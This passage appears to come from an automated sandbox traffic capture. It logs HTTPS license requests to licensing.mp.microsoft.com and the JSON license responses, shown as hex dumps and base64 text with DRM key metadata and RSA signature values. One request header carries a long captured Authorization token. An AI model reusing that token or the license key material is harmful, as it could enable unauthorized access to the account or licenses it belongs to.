dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.4
Content-Length: 4285
Host: licensing.mp.microsoft.com

2022-07-01 09:01:22 UTC 2058 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:22 UTC 2070 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:21 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7957
MS-CorrelationId: d2d382b3-0100-4d06-a851-48b012f12741
MS-RequestId: 12d6d970-3c5f-457a-bd3d-7f10b1a3a6bd
MS-CV: UznHpAHqV0GMBdER.4.1530938676.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 8

2022-07-01 09:01:22 UTC 2070 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 31 65 32 32 35 39 39 38 2d 66 61 61 30 2d 35 
66 64 34 2d 34 64 62 37 2d 35 65 37 36 38 36 65 65 33 62 34 37 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"1e225998-faa0-5fd4-4db7-5e7686ee3b47"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:22 UTC 2071 IN Data Raw: 44 41 36 4e 44 4d 36 4d 6a 4d 75 4e 6a 6b 7a 4e 54 45 34 4e 31 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 
54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 
63 7a 35 6c 65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 4f 4d 46 4e 58 55 57 6c 50 61 55 6b 
7a 54 58 70 4e 4e 45 39 55 54 6d 6c 50 51 7a 41 78 54 58 70 4f 61 30 78 55 55 58 6c 50 56 45 6c 30 57 57 31 5a 65 55 3
5 35 4d 48 6c 4e 4d 6c 46 35 54 56 52 6f 61 55 31 36 62 47 68 50 56 46 56 70 5a 6c 45 39 50 54 77 76 51 33 56 7a 64 
47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 
51 55 46 42 54 45 46 42 51 55 46 45 53 6b 46 42 51 55 46 44 5a 30 46 42 
Data Ascii: DA6NDM6MjMuNjkzNTE4N1o8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5
leUpzWldkaFkzbFFjbTlrZFdOMFNXUWlPaUkzTXpNNE9UTmlPQzAxTXpOa0xUUXlPVEl0WW1ZeU55MHlNMlF5TVRoa
U16bGhPVFVpZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBTEFBQUFESkFBQUFDZ0FB

2022-07-01 09:01:22 UTC 2072 IN Data Raw: 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 
59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 
75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 
39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 
7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 
63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6c 62 6d 4d 
6a 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 45 61 57 64 6c 63 33 52 57 
Data Ascii: W5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzM
ub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0a
G9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxEaWdlc3RW
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2022-07-01 09:01:22 UTC 2073 IN Data Raw: 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 
53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 
57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6
c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 
30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 
61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 4e 55 6d 68 7a 4c 30 30 
7a 56 6d 55 31 4d 54 46 49 55 57 5a 4c 64 55 63 72 4f 54 4a 6e 4d 55 39 6d 
Data Ascii: ytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzN
WYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvR
W1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUcrOTJnMU9m

2022-07-01 09:01:22 UTC 2074 IN Data Raw: 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 75 5a 47 39 33 63 30 31 
68 63 48 4e 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 
42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 
44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 
62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 
4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 39 75 62 47 6c 75 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 55 
4e 68 64 47 56 6e 62 33 4a 35 50 53 4a 53 5a 58 52 68 61 57 77 69 50 6a 
Data Ascii: hdGVkUEZOcz5NaWNyb3NvZnQuV2luZG93c01hcHNfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGT
nM+PExlYXNlUmVuZXdhbFBlcmlvZD4xMjk2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2V
JbmZvIFR5cGU9IkxlYXNlIiBMaWNlbnNlVXNhZ2U9Ik9ubGluZSIgTGljZW5zZUNhdGVnb3J5PSJSZXRhaWwiPj

2022-07-01 09:01:22 UTC 2075 IN Data Raw: 4e 61 55 39 73 64 44 64 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6b 70 61 52 31 5a 31 5a 45 64 73 62 57 46 
58 56 6e 6c 4a 61 6d 39 70 57 56 52 72 64 31 6c 71 5a 7a 42 4e 52 45 46 30 57 6b 52 4e 4d 6c 70 44 4d 44 52 4e 61 6b 
30 78 54 46 52 6f 61 56 70 71 53 58 52 5a 56 45 6c 34 57 56 52 56 65 6c 70 45 54 6d 31 5a 61 6c 6b 78 53 57 6c 33 61 
57 4e 48 52 6d 70 68 4d 6b 5a 75 57 6c 5a 53 4e 57 4e 48 56 57 6c 50 61 55 70 30 59 7a 4a 73 4e 45 6c 70 64 32 6c 6a 
53 45 70 32 57 6b 68 57 61 6d 52 46 52 6d 74 61 52 54 6c 31 59 33 6c 4a 4e 6c 63 78 4d 48 4e 4a 62 6b 4a 35 59 6a 4a 
53 4d 56 6b 7a 55 6b 70 61 51 30 6b 32 53 57 70 73 57 46 64 72 55 6b 39 52 4d 55 70 46 56 6b 56 4b 56 31 46 70 53 58 
4e 4a 62 6b 35 79 5a 46 56 73 61 30 6c 71 62 32 6c 4e 52 45 46 34 54 55 
Data Ascii: NaU9sdDdJbkJoWTJ0aFoyVkpaR1Z1ZEdsbWFXVnlJam9pWVRrd1lqZzBNREF0WkRNMlpDMDRNak0xT
FRoaVpqSXRZVEl4WVRVelpETm1ZalkxSWl3aWNHRmphMkZuWlZSNWNHVWlPaUp0YzJsNElpd2ljSEp2W
khWamRFRmtaRTl1Y3lJNlcxMHNJbkJ5YjJSMVkzUkpaQ0k2SWpsWFdrUk9RMUpFVkVKV1FpSXNJbk5yZFVsa0lqb2l
NREF4TU

2022-07-01 09:01:22 UTC 2076 IN Data Raw: 76 50 6a 78 44 59 57 35 76 62 6d 6c 6a 59 57 78 70 65 6d 46 30 61 57 39 75 54 57 56 30 61 47 39 6b 49 45 
46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 
6a 41 77 4d 53 38 78 4d 43 39 34 62 57 77 74 5a 58 68 6a 4c 57 4d 78 4e 47 34 6a 49 69 41 76 50 6a 78 54 61 57 64 75 
59 58 52 31 63 6d 56 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 
76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 52 7a 61 57 63 74 62 57 
39 79 5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 
56 4a 4a 50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 
Data Ascii: vPjxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwM
S8xMC94bWwtZXhjLWMxNG4jIiAvPjxTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8
yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPj

2022-07-01 09:01:22 UTC 2077 IN Data Raw: 79 65 6c 42 6b 51 6b 4a 48 56 57 74 77 61 46 5a 46 65 57 35 33 5a 57 63 35 5a 45 4a 79 4e 55 4e 71 54 48 
52 59 4d 46 56 4d 55 32 4e 6d 63 48 46 42 50 54 30 38 4c 31 4e 70 5a 32 35 68 64 48 56 79 5a 56 5a 68 62 48 56 6c 50 
6a 78 4c 5a 58 6c 4a 62 6d 5a 76 49 45 6c 6b 50 53 4a 66 4d 47 59 34 4d 57 49 79 4e 47 59 74 59 6d 4d 30 4d 43 30 79 
4e 7a 45 79 4c 54 42 6b 4e 57 51 74 5a 54 64 6a 4d 54 41 77 4f 44 56 6a 4d 7a 4d 77 49 6a 34 38 53 32 56 35 56 6d 46 
73 64 57 55 2b 50 46 4a 54 51 55 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 4e 62 32 52 31 62 48 56 7a 50 6d 39 57 55 30 
70 59 53 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 
45 39 4d 56 32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 
Data Ascii: yelBkQkJHVWtwaFZFeW53ZWc5ZEJyNUNqTHRYMFVMU2NmcHFBPT08L1NpZ25hdHVyZVZhbHVlPjxLZ
XlJbmZvIElkPSJfMGY4MWIyNGYtYmM0MC0yNzEyLTBkNWQtZTdjMTAwODVjMzMwIj48S2V5VmFsdWU+P
FJTQUtleVZhbHVlPjxNb2R1bHVzPm9WU0pYSXREc2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDM
i9UUW9kZ2VIWnpiZE
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116 192.168.2.5 49882 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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2022-07-01 09:01:22 UTC 2078 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.5
Content-Length: 4481
Host: licensing.mp.microsoft.com

2022-07-01 09:01:22 UTC 2079 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:22 UTC 2084 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:22 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8131
MS-CorrelationId: 5971a2f1-bbbc-4f5a-b339-d289bd64faae
MS-RequestId: 4db3066e-ae95-4bb0-80dc-10807b593933
MS-CV: UznHpAHqV0GMBdER.5.1530938726.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-fdxsf

2022-07-01 09:01:22 UTC 2084 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 32 31 35 66 39 37 31 32 2d 39 66 63 61 2d 61 
33 66 38 2d 35 62 31 31 2d 36 36 30 65 65 66 63 37 33 62 39 36 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"215f9712-9fca-a3f8-5b11-660eefc73b96"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:22 UTC 2085 IN Data Raw: 53 49 2b 50 45 6c 7a 63 33 56 6c 5a 45 52 68 64 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 4d 56 51 77 4f 
54 6f 77 4d 54 6f 79 4d 69 34 33 4d 54 67 79 4e 44 67 30 57 6a 77 76 53 58 4e 7a 64 57 56 6b 52 47 46 30 5a 54 34 38 
54 47 46 7a 64 46 56 77 5a 47 46 30 5a 55 52 68 64 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 4d 56 51 77 4f 54 6f 
77 4d 54 6f 79 4d 69 34 33 4d 6a 49 34 4d 6a 4d 7a 57 6a 77 76 54 47 46 7a 64 46 56 77 5a 47 46 30 5a 55 52 68 64 47 
55 2b 50 45 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 35 4f 6a 41 78 4f 
6a 49 79 4c 6a 63 79 4d 6a 67 79 57 6a 77 76 51 6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 77 76 54 47 6c 6a 5a 57 35 7a 
5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 
Data Ascii: SI+PElzc3VlZERhdGU+MjAyMi0wNy0wMVQwOTowMToyMi43MTgyNDg0WjwvSXNzdWVkRGF0ZT48TGF
zdFVwZGF0ZURhdGU+MjAyMi0wNy0wMVQwOTowMToyMi43MjI4MjMzWjwvTGFzdFVwZGF0ZURhdGU+PEJ
lZ2luRGF0ZT4yMDIyLTA3LTAxVDA5OjAxOjIyLjcyMjgyWjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3Rvb
VBvbGlj

2022-07-01 09:01:22 UTC 2086 IN Data Raw: 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 
79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 78 4d 43 39 34 62 57 77 74 5a 58 68 6a 4c 57 4d 78 4e 47 34 6a 49 69 41 76 
50 6a 78 54 61 57 64 75 59 58 52 31 63 6d 56 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 
6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 5
2 7a 61 57 63 74 62 57 39 79 5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 
6d 56 75 59 32 55 67 56 56 4a 4a 50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 
63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 
Data Ascii: G9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIiAvPjx
TaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWc
tbW9yZSNyc2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3Jpd
GhtPSJo

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:22 UTC 2087 IN Data Raw: 6b 5a 55 4f 55 31 58 56 43 38 77 4e 79 74 70 4d 6c 52 6e 50 54 30 38 4c 31 4e 70 5a 32 35 68 64 48 56 79 
5a 56 5a 68 62 48 56 6c 50 6a 78 4c 5a 58 6c 4a 62 6d 5a 76 49 45 6c 6b 50 53 4a 66 4d 47 59 34 4d 57 49 79 4e 47 59 
74 59 6d 4d 30 4d 43 30 79 4e 7a 45 79 4c 54 42 6b 4e 57 51 74 5a 54 64 6a 4d 54 41 77 4f 44 56 6a 4d 7a 4d 77 49 6a 
34 38 53 32 56 35 56 6d 46 73 64 57 55 2b 50 46 4a 54 51 55 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 4e 62 32 52 31 62 
48 56 7a 50 6d 39 57 55 30 70 59 53 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 
51 55 38 72 61 57 34 35 55 45 39 4d 56 32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 
32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 7a 55 30 56 73 54 48 64 53 
Data Ascii: kZUOU1XVC8wNytpMlRnPT08L1NpZ25hdHVyZVZhbHVlPjxLZXlJbmZvIElkPSJfMGY4MWIyNGYtYmM
0MC0yNzEyLTBkNWQtZTdjMTAwODVjMzMwIj48S2V5VmFsdWU+PFJTQUtleVZhbHVlPjxNb2R1bHVzPm9
WU0pYSXREc2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJ
xNlpQMEZzU0VsTHdS

2022-07-01 09:01:22 UTC 2088 IN Data Raw: 54 6c 6c 59 54 59 69 49 46 5a 6c 63 6e 4e 70 62 32 34 39 49 6a 55 69 49 48 68 74 62 47 35 7a 50 53 4a 31 
63 6d 34 36 63 32 4e 6f 5a 57 31 68 63 79 31 74 61 57 4e 79 62 33 4e 76 5a 6e 51 74 59 32 39 74 4f 6e 64 70 62 6d 52 
76 64 33 4d 36 63 33 52 76 63 6d 55 36 62 47 6c 6a 5a 57 35 7a 61 57 35 6e 4f 6d 78 7a 49 6a 34 38 51 6d 6c 75 5a 47 6
c 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 
